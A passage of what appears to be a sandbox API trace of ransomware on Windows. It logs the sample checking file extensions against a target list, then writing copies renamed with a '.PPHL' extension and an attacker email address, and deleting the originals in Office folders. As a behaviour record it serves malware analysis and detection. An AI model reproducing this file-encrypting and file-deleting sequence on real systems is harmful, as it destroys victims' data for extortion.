Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.035] lstrlenW (lpString=".jpg") returned 4 [0067.035] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.036] lstrlenW (lpString=".doc") returned 4 [0067.036] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString=".docx") returned 5 [0067.036] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0067.036] lstrlenW (lpString=".pdf") returned 4 [0067.036] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString=".xls") returned 4 [0067.036] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString=".xlsx") returned 5 [0067.036] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0067.036] lstrlenW (lpString=".ppt") returned 4 [0067.036] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.036] lstrlenW (lpString=".zip") returned 4 [0067.036] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.036] lstrlenW (lpString=".rar") returned 4 [0067.036] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString=".bz2") returned 4 [0067.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString=".7z") returned 3 [0067.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.036] lstrlenW (lpString=".dbf") returned 4 [0067.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.036] lstrlenW (lpString=".1cd") returned 4 [0067.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.036] lstrlenW (lpString=".jpg") returned 4 [0067.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.037] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0067.037] lstrlenW (lpString="webbase.xml") returned 11 [0067.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0068.139] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1166) returned 1 [0068.139] CloseHandle (hObject=0x1e8) returned 1 [0068.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0068.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.139] lstrlenW (lpString=".doc") returned 4 [0068.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.139] lstrlenW (lpString=".docx") returned 5 [0068.139] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0068.139] lstrlenW (lpString=".pdf") returned 4 [0068.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.139] lstrlenW (lpString=".xls") returned 4 [0068.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString=".xlsx") returned 5 [0068.140] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0068.140] lstrlenW (lpString=".ppt") returned 4 [0068.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.140] lstrlenW (lpString=".zip") returned 4 [0068.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.140] lstrlenW (lpString=".rar") returned 4 [0068.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString=".bz2") returned 4 [0068.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString=".7z") returned 3 [0068.140] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.140] lstrlenW (lpString=".dbf") returned 4 [0068.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.140] lstrlenW (lpString=".1cd") returned 4 [0068.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.140] lstrlenW (lpString=".jpg") returned 4 [0068.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.140] lstrlenW (lpString=".doc") returned 4 [0068.140] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString=".docx") returned 5 [0068.140] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0068.140] lstrlenW (lpString=".pdf") returned 4 [0068.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.140] lstrlenW (lpString=".xls") returned 4 [0068.141] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.141] lstrlenW (lpString=".xlsx") returned 5 [0068.141] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0068.141] lstrlenW (lpString=".ppt") returned 4 [0068.141] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.141] lstrlenW (lpString=".zip") returned 4 [0068.141] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.141] lstrlenW (lpString=".rar") returned 4 [0068.141] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.141] lstrlenW (lpString=".bz2") returned 4 [0068.141] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.141] lstrlenW (lpString=".7z") returned 3 [0068.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.141] lstrlenW (lpString=".dbf") returned 4 [0068.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.141] lstrlenW (lpString=".1cd") returned 4 [0068.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0068.141] lstrlenW (lpString=".jpg") returned 4 [0068.141] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.141] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.141] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0068.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0068.142] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=913) returned 1 [0068.142] CloseHandle (hObject=0x1e8) returned 1 [0068.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0068.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0068.142] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.142] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.686] GetLastError () returned 0x0 [0068.686] ReadFile (in: hFile=0x1e8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x391, lpOverlapped=0x0) returned 1 [0068.687] WriteFile (in: hFile=0x1f0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0068.688] ReadFile (in: hFile=0x1e8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.688] WriteFile (in: hFile=0x1f0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0068.689] SetEndOfFile (hFile=0x1f0) returned 1 [0068.689] CloseHandle (hObject=0x1f0) returned 1 [0068.697] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.697] SetEndOfFile (hFile=0x1e8) returned 1 [0068.698] CloseHandle (hObject=0x1e8) returned 1 [0068.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.699] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0068.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.699] lstrlenW (lpString=".doc") returned 4 [0068.699] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.699] lstrlenW (lpString=".docx") returned 5 [0068.699] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0068.699] lstrlenW (lpString=".pdf") returned 4 [0068.699] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.699] lstrlenW (lpString=".xls") returned 4 [0068.700] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.700] lstrlenW (lpString=".xlsx") returned 5 [0068.700] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0068.700] lstrlenW (lpString=".ppt") returned 4 [0068.700] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.700] lstrlenW (lpString=".zip") returned 4 [0068.700] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.700] lstrlenW (lpString=".rar") returned 4 [0068.700] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.700] lstrlenW (lpString=".bz2") returned 4 [0068.700] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.700] lstrlenW (lpString=".7z") returned 3 [0068.700] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.700] lstrlenW (lpString=".dbf") returned 4 [0068.700] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.700] lstrlenW (lpString=".1cd") returned 4 [0068.700] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.700] lstrlenW (lpString=".jpg") returned 4 [0068.700] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.701] lstrlenW (lpString=".doc") returned 4 [0068.701] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.701] lstrlenW (lpString=".docx") returned 5 [0068.701] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0068.701] lstrlenW (lpString=".pdf") returned 4 [0068.701] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.701] lstrlenW (lpString=".xls") returned 4 [0068.701] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.701] lstrlenW (lpString=".xlsx") returned 5 [0068.701] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0068.701] lstrlenW (lpString=".ppt") returned 4 [0068.701] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.702] lstrlenW (lpString=".zip") returned 4 [0068.702] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.702] lstrlenW (lpString=".rar") returned 4 [0068.702] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.702] lstrlenW (lpString=".bz2") returned 4 [0068.702] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.702] lstrlenW (lpString=".7z") returned 3 [0068.702] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.702] lstrlenW (lpString=".dbf") returned 4 [0068.702] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.702] lstrlenW (lpString=".1cd") returned 4 [0068.702] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0068.702] lstrlenW (lpString=".jpg") returned 4 [0068.702] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.702] lstrcmpiW (lpString1=".CHM", lpString2=".PPHL") returned -1 [0068.702] lstrlenW (lpString="OCT.CHM") returned 7 [0068.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0070.640] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=71236) returned 1 [0070.640] CloseHandle (hObject=0x214) returned 1 [0070.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0070.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0070.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0070.886] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.886] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0070.886] GetLastError () returned 0x0 [0070.886] ReadFile (in: hFile=0x210, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x11644, lpOverlapped=0x0) returned 1 [0071.047] WriteFile (in: hFile=0x1fc, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0071.049] ReadFile (in: hFile=0x210, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.049] WriteFile (in: hFile=0x1fc, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0071.049] SetEndOfFile (hFile=0x1fc) returned 1 [0071.050] CloseHandle (hObject=0x1fc) returned 1 [0071.051] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.051] SetEndOfFile (hFile=0x210) returned 1 [0071.052] CloseHandle (hObject=0x210) returned 1 [0071.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.053] lstrlenW (lpString=".doc") returned 4 [0071.053] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString=".docx") returned 5 [0071.053] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0071.053] lstrlenW (lpString=".pdf") returned 4 [0071.053] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString=".xls") returned 4 [0071.053] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString=".xlsx") returned 5 [0071.053] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0071.053] lstrlenW (lpString=".ppt") returned 4 [0071.053] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.053] lstrlenW (lpString=".zip") returned 4 [0071.053] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString=".rar") returned 4 [0071.053] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString=".bz2") returned 4 [0071.053] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0071.053] lstrlenW (lpString=".7z") returned 3 [0071.053] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.053] lstrlenW (lpString=".dbf") returned 4 [0071.053] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.053] lstrlenW (lpString=".1cd") returned 4 [0071.053] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.053] lstrlenW (lpString=".jpg") returned 4 [0071.053] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0071.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.054] lstrlenW (lpString=".doc") returned 4 [0071.054] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString=".docx") returned 5 [0071.054] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0071.054] lstrlenW (lpString=".pdf") returned 4 [0071.054] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString=".xls") returned 4 [0071.054] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString=".xlsx") returned 5 [0071.054] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0071.054] lstrlenW (lpString=".ppt") returned 4 [0071.054] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.054] lstrlenW (lpString=".zip") returned 4 [0071.054] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString=".rar") returned 4 [0071.054] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString=".bz2") returned 4 [0071.054] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0071.054] lstrlenW (lpString=".7z") returned 3 [0071.054] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0071.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 